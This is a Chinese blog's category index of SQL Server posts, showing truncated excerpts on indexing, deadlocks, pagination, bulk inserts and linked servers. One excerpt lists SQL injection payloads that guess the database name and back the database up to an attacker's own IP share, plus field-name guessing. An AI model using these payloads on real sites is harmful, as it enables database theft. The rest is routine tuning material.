随笔分类 -  MS Sql Server

摘要:六、有关索引的几个问题问题1,是否值得在identity字段上建立聚集索引。答案取决于identity字段如何在语句中使用。如果你经常根据该字段搜索返回很少的行,那么在其上建立索引是值得的。反之如果identity字段根本很少在语句中使用,那么就不应该对其建立任何索引。问题2,一个表应该建立多少索引... 阅读全文
posted @ 2014-09-24 15:17 Rich 申 阅读(148) 评论(0) 推荐(0)
摘要:一、前言很多数据库系统性能不理想是因为系统没有经过整体优化,存在大量性能低下的SQL语句。这类SQL语句性能不好的首要原因是缺乏高效的索引。没有索引除了导致语句本身运行速度慢外,更是导致大量的磁盘读写操作,使得整个系统性能都受之影响而变差。解决这类系统的首要办法是优化这些没有索引或索引不够好的SQL... 阅读全文
posted @ 2014-09-24 15:12 Rich 申 阅读(180) 评论(0) 推荐(1)
摘要:数据库访问类(xxx.DataBase.Dll)调用存储过程实现数据库的访问。技术方案一:压缩时间下程序员写出的第一个版本,仅仅为了完成任务,没有从程序上做任何优化,实现方式是利用数据库访问类调用存储过程,利用循环逐条插入。很明显,这种方式效率并不高,于是有了前面的两位同事讨论效率低的问题。技术方案... 阅读全文
posted @ 2014-08-19 17:40 Rich 申
摘要:--死鎖/********************************************************************************死鎖指兩個以上事務相互阻塞相互等待對方釋放它們的鎖,SQLServer會通過回滾其中一個事務並返回一個錯誤來自已解決阻塞問題,讓其他事務完成它們的工作。****************************************************************************************/setnocounton;ifobject_id('T1')isnotnulldro 阅读全文
posted @ 2013-10-10 11:05 Rich 申 阅读(162) 评论(0) 推荐(0)
摘要:常用的数据分页方法我们经常会碰到要取n到m条记录,就是有分页思想,下面罗列一下一般的方法。我本地的一张表 tbl_FlightsDetail,有300多W记录,主键 FlightsDetailID(Guid),要求按照FlightsDetailID排序 取 3000001 到3000010 之间的10条记录,也是百万级。方法1 定位法 (利用ID大于多少)语句形式:select top 10 * from tbl_FlightsDetail where FlightsDetailID>( select max(FlightsDetailID) from ( ... 阅读全文
posted @ 2012-11-02 10:31 Rich 申 阅读(192) 评论(0) 推荐(0)
摘要:最简单的一种SQL注入,常见的注入语句还有:1)猜测数据库名,备份数据库a)猜测数据库名:and db_name() >0或系统表master.dbo.sysdatabasesb)备份数据库:;backup database数据库名to disk = ‘c:\*.db’;--或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--2)猜解字段名称a)猜解法:and (select count(字段名) from表名 阅读全文
posted @ 2012-11-01 10:23 Rich 申 阅读(289) 评论(0) 推荐(0)
摘要:/*不同服务器数据库之间的数据操作*/--创建链接服务器 exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, '用户名 ', '密码 ' --查询示例 select * from ITSV.数据库名.dbo.表名 --导入示例 select * into 表 from ITSV.数据库名.d 阅读全文
posted @ 2012-07-25 14:27 Rich 申 阅读(355) 评论(0) 推荐(0)